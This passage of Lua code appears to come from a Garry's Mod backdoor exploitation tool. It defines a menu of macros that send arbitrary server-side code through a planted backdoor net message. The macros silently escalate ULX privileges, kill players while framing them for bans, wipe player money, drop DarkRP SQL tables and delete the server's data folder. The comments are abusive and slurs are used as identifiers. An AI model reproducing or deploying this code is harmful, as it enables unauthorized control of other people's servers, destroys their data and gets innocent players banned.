8057 ["Desc"] = "Turns them black as night"
8058 },
8059 ["Cloak player"] = {
8060 ["Type"] = 2,
8061 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
8062 ["Desc"] = "Toggles cloaking on the player, people can still see the weapon they are holding however"
8063 },
8064 ["Allahu Ackbar"] = {
8065 ["Type"] = 2,
8066 ["Code"] = [[
8067
8068 local explo = ents.Create("env_explosion")
8069
8070 explo:SetOwner(v)
8071
8072 explo:SetPos(v:GetPos())
8073
8074 explo:SetKeyValue("iMagnitude", "250")
8075
8076 explo:Spawn()
8077
8078 explo:Activate()
8079
8080 explo:Fire("Explode", "", 0)
8081
8082 if v:Alive() then v:Kill() end
8083
8084 ]],
8085 ["Desc"] = "Blows them the fuck up, all kills are attributed to them so its great for getting random assholes banned"
8086 },
8087 ["ULX set access"] = {
8088 ["Type"] = 2,
8089 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
8090 ["Desc"] = "If ulx is installed this will (silently!) set them to the specified usergroup (1st parameter)",
8091 ["NeedsParameters"] = 1
8092 },
8093 ------------------------ dangerous codens ------------------------
8094 ["DarkRP clear all money"] = {
8095 ["Type"] = 3,
8096 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
8097 ["Desc"] = "Kids will cry to the admins for the next week about losing their precious money"
8098 },
8099 ["Cleanup map"] = {
8100 ["Type"] = 3,
8101 ["Code"] = [[game.CleanUpMap()]],
8102 ["Desc"] = "Wipe the map clean, taking everybodys cars, printers and bases out"
8103 },
8104 ["Vaporize all players"] = {
8105 ["Type"] = 3,
8106 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
8107 ["Desc"] = "Deletes their player entity, leaving them staring at a wall of errors"
8108 },
8109 ["FPP Unrestrict everything"] = {
8110 ["Type"] = 3,
8111 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
8112 ["Desc"] = ""
8113 },
8114 ["Wipe data folder"] = {
8115 ["Type"] = 3,
8116 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
8117 ["Desc"] = "Wipe the servers data folder, fucking all their settings and stuff up"
8118 },
8119 ["Wipe DarkRP SQL Tables"] = {
8120 ["Type"] = 3,
8121 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
8122 ["Desc"] = "Completely fucks darkrp, forces them to reinstall the entire server"
8123 }
8124}
8125
8126local selectedbackdoor = ""
8127local backdoorargs = ""
8128local selectedplayers = {}
8129
8130function BD.GenerateBackdoorList(parent, category)
8131 for k, v in SortedPairs(BD.BDMacros, false) do
8132 if v["Type"] ~= category then continue end
8133 local plypanel2 = vgui.Create("DPanel")
8134 plypanel2:SetPos(0, 0)
8135 plypanel2:SetSize(200, 25)
8136
8137 -- Paint function
8138 plypanel2.Paint = function()
8139 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8140
8141 if selectedbackdoor == k then
8142 surface.SetDrawColor(Color(70, 130, 180, 255))
8143 else
8144 surface.SetDrawColor(Color(0, 0, 0, 255))
8145 end
8146
8147 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8148 end
8149
8150 local plyname = vgui.Create("DLabel", plypanel2)
8151 plyname:SetPos(10, 5)
8152 plyname:SetFont("Trebuchet18")
8153 local tcol = Color(255, 255, 255)
8154
8155 if v.Private then
8156 tcol = Color(155, 255, 155)
8157 end
8158
8159 plyname:SetColor(tcol)
8160 plyname:SetText(k)
8161 plyname:SetSize(180, 15)
8162 local faggot = vgui.Create("DButton", plypanel2)
8163 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8164 faggot:SetPos(0, 0)
8165 faggot:SetText("")
8166
8167 if v["Desc"] ~= "" then
8168 faggot:SetToolTip(v["Desc"])
8169 end
8170
8171 faggot.Paint = function(panel, w, h) return end
8172
8173 faggot.DoClick = function()
8174 selectedbackdoor = k
8175 end
8176
8177 parent:AddItem(plypanel2)
8178 end
8179end
8180
8181function BD.FormatCodeTargeted()
8182 if selectedbackdoor == "" then
8183 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8184
8185 return
8186 end
8187
8188 local param = string.Explode(",", backdoorargs)
8189 local ids = {}
8190
8191 for k, v in pairs(selectedplayers) do
8192 if not v:IsValid() then
8193 table.RemoveByValue(selectedplayers, v)
8194 continue
8195 end
8196
8197 table.insert(ids, v:UniqueID())
8198 end
8199
8200 local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
8201 code = string.Replace(code, "##", table.ToString(ids))
8202 code = string.Replace(code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "")
8203 code = string.Replace(code, "%LP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8204
8205 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8206 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8207
8208 return
8209 end
8210
8211 if #param < 1 then
8212 param = {
8213 [1] = "derp",
8214 [2] = "derp",
8215 [3] = "derp",
8216 [4] = "derp",
8217 [5] = "derp"
8218 }
8219 end
8220
8221 for k, v in pairs(param) do
8222 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8223 end
8224
8225 BD.Fire(code)
8226end
8227
8228function BD.FormatCodeGlobal()
8229 if selectedbackdoor == "" then
8230 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
8231
8232 return
8233 end
8234
8235 local param = string.Explode(",", backdoorargs)
8236 local code = BD.BDMacros[selectedbackdoor]["Code"]
8237
8238 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
8239 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
8240
8241 return
8242 end
8243
8244 if #param < 1 then
8245 param = {
8246 [1] = "derp",
8247 [2] = "derp",
8248 [3] = "derp",
8249 [4] = "derp",
8250 [5] = "derp"
8251 }
8252 end
8253
8254 for k, v in pairs(param) do
8255 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
8256 code = string.Replace(code, "%LP", LocalPlayer():UniqueID())
8257 code = string.Replace(code, "%LCP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
8258
8259 for k, v in pairs(BackDoor_net) do
8260 code = string.Replace(code, "%BD", v.NetWork)
8261 end
8262 end
8263
8264 BD.Fire(code)
8265end
8266
8267local safenet = net
8268
8269local function bdnet()
8270 if R8 and R8.G then return R8.G.net end
8271
8272 return safenet
8273end
8274
8275function BD.Fire(code)
8276 local cbd = BD.CurrentBackdoor
8277 local key = BD.BackdoorTypes[cbd].Netkey
8278 bdnet().Start(key)
8279 bdnet().WriteString(code)
8280 bdnet().SendToServer()
8281end
8282
8283surface.CreateFont("exitmenu", {
8284 font = "Arial",
8285 size = 20,
8286 weight = 1000,
8287 shadow = false,
8288 outline = false
8289})
8290
8291local function exitmenu(panel, X, y)
8292 local CButton = vgui.Create("DButton", panel)
8293 CButton:SetTextColor(Color(150, 150, 150))
8294 CButton:SetText("Ð Ò")
8295 CButton:SetFont("exitmenu")
8296 CButton:SetPos(X, y)
8297 CButton:SetSize(50, 24)
8298
8299 CButton.DoClick = function()
8300 panel:SizeTo(0, 0, .2, 0, .2)
8301
8302 timer.Simple(0.3, function()
8303 panel:SetVisible(false)
8304 end)
8305 end
8306
8307 CButton.Paint = function(panel, w, h)
8308 surface.SetDrawColor(Color(0, 0, 0, 255))
8309 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
8310 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8311 end
8312
8313 CButton.OnCursorEntered = function(self)
8314 surface.PlaySound("garrysmod/ui_hover.wav")
8315
8316 CButton.Paint = function(panel, w, h)
8317 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
8318 end
8319 end
8320
8321 -------------------------------------------------------------
8322 CButton.OnCursorExited = function(self)
8323 CButton.Paint = function(panel, w, h)
8324 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
8325 end
8326 end
8327 ------------------------------------------------------------------------
8328end
8329
8330local blur = Material("pp/blurscreen")
8331
8332local function DrawBlur(panel, amount)
8333 local x, y = panel:LocalToScreen(0, 0)
8334 local scrW, scrH = ScrW(), ScrH()
8335 surface.SetDrawColor(255, 255, 255)
8336 surface.SetMaterial(blur)
8337
8338 for i = 1, 3 do
8339 blur:SetFloat("$blur", (i / 3) * (amount or 6))
8340 blur:Recompute()
8341 render.UpdateScreenEffectTexture()
8342 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
8343 end
8344end
8345
8346CreateClientConVar("menu_r", "148", true, false)
8347CreateClientConVar("menu_g", "0", true, false)
8348CreateClientConVar("menu_b", "211", true, false)
8349
8350function BD.BackdoorMenu()
8351 BD.Backdoors = BD.PingBackDoors()
8352 local BDMenu = vgui.Create("DFrame")
8353 BDMenu:Center()
8354 BDMenu:SizeTo(500, 400, .3, 0, .3)
8355 exitmenu(BDMenu, 449, 1)
8356 BDMenu:SetTitle(" ")
8357 BDMenu:ShowCloseButton(false)
8358 BDMenu:SetVisible(true)
8359 BDMenu:MakePopup()
8360
8361 function BDMenu:Paint()
8362 DrawBlur(self, 5)
8363 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8364 surface.SetDrawColor(Color(0, 0, 0, 255))
8365 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8366 ---------------------------------------------------------
8367 --draw.SimpleText( "Player's", "exitmenu", 320, 25 , Color( 255, 255, 255, 200 ), 0, 0 )
8368 ---------------------------------------------------------
8369 surface.DrawOutlinedRect(0, 25, BDMenu:GetSize())
8370 -------------------------------------------------
8371 surface.DrawOutlinedRect(0, 0, 449, 26)
8372 --surface.DrawOutlinedRect( -6, 25, BDMenu:GetSize() )
8373 --
8374 --surface.DrawOutlinedRect( 0, -6, BDMenu:GetSize() )
8375 ------------------------------------------------
8376 end
8377
8378 local it = 145
8379 local Plist = vgui.Create("DPanelList", BDMenu)
8380 Plist:SetPos(5, 30)
8381 Plist:SetSize(200, 315)
8382 Plist:SetPadding(5)
8383 Plist:SetSpacing(5)
8384 Plist:EnableHorizontal(false)
8385 Plist:EnableVerticalScrollbar(true)
8386 Plist:SetName("")
8387
8388 Plist.Paint = function(self, w, h)
8389 DrawBlur(self, 5)
8390 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
8391 surface.SetDrawColor(Color(0, 0, 0, 255))
8392 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
8393 end
8394
8395 local Plist4 = vgui.Create("DPanelList", BDMenu)
8396 Plist4:SetPos(210, 30)
8397 Plist4:SetSize(285, 315)
8398 Plist4:SetPadding(5)
8399 Plist4:SetSpacing(5)
8400 Plist4:EnableHorizontal(false)
8401 Plist4:EnableVerticalScrollbar(true)
8402 Plist4:SetName("")
8403
8404 Plist4.Paint = function(self, w, h)
8405 surface.SetDrawColor(50, 50, 50, 255)
8406 surface.DrawOutlinedRect(0, 0, w, h)
8407 surface.SetDrawColor(0, 0, 0, 200)
8408 surface.DrawRect(0, 0, w, h)
8409 end
8410
8411 local faggot = vgui.Create("DButton", BDMenu)
8412 faggot:Dock(5)
8413 faggot:SetText("Activate Backdoor!")
8414 faggot:SetTextColor(Color(255, 255, 255, 255))
8415
8416 faggot.Paint = function(panel, w, h)
8417 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
8418 surface.SetDrawColor(Color(0, 0, 0, 255))
8419 surface.DrawOutlinedRect(0, 0, faggot:GetSize())
8420 surface.DrawOutlinedRect(0, 25, faggot:GetSize())
8421 end
8422
8423 faggot.DoClick = function()
8424 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8425 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8426
8427 return
8428 end
8429
8430 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8431 BD.FormatCodeGlobal()
8432 else
8433 BD.FormatCodeTargeted()
8434 end
8435
8436 surface.PlaySound("buttons/button18.wav")
8437 end
8438
8439 local moonman = vgui.Create("DTextEntry", BDMenu)
8440 moonman:Dock(5)
8441 moonman:DockMargin(0, 0, 0, 5)
8442 moonman:SetText(backdoorargs)
8443
8444 moonman.OnChange = function(self)
8445 backdoorargs = self:GetValue()
8446 end
8447
8448 -- surface.PlaySound("buttons/button3.wav")
8449 -- players list
8450 for k, v in pairs(player.GetAll()) do
8451 local plypanel2 = vgui.Create("DPanel")
8452 plypanel2:SetPos(0, 0)
8453 plypanel2:SetSize(200, 25)
8454
8455 -- Paint function
8456 plypanel2.Paint = function()
8457 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
8458
8459 if table.HasValue(selectedplayers, v) then
8460 surface.SetDrawColor(Color(50, 255, 90, 255))
8461 else
8462 surface.SetDrawColor(Color(50, 50, 90, 255))
8463 end
8464
8465 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
8466 end
8467
8468 local plyname = vgui.Create("DLabel", plypanel2)
8469 plyname:SetPos(10, 5)
8470 plyname:SetFont("Trebuchet18")
8471 local tcol = Color(255, 255, 255)
8472
8473 if v == LocalPlayer() then
8474 tcol = Color(155, 155, 255)
8475 end
8476
8477 -- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )
8478 -- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol = Color( 255, 100, 0 ) end
8479 plyname:SetColor(tcol)
8480 plyname:SetText(v:Nick())
8481 plyname:SetSize(180, 15)
8482 local faggot = vgui.Create("DButton", plypanel2)
8483 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
8484 faggot:SetPos(0, 0)
8485 faggot:SetText("")
8486 faggot.Paint = function(panel, w, h) return end
8487
8488 faggot.DoClick = function()
8489 if table.HasValue(selectedplayers, v) then
8490 table.RemoveByValue(selectedplayers, v)
8491 else
8492 table.insert(selectedplayers, v)
8493 end
8494 end
8495
8496 Plist4:AddItem(plypanel2)
8497 end
8498
8499 BD.GenerateBackdoorList(Plist, 1)
8500 BD.GenerateBackdoorList(Plist, 2)
8501 BD.GenerateBackdoorList(Plist, 3)
8502end
8503
8504concommand.Add("bd_menu", BD.BackdoorMenu)
8505
8506function BD.QuickFireBackdoor()
8507 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
8508 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
8509
8510 return
8511 end
8512
8513 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
8514 BD.FormatCodeGlobal()
8515 else
8516 BD.FormatCodeTargeted()
8517 end
8518end
8519
8520concommand.Add("bd_quickfire", BD.QuickFireBackdoor)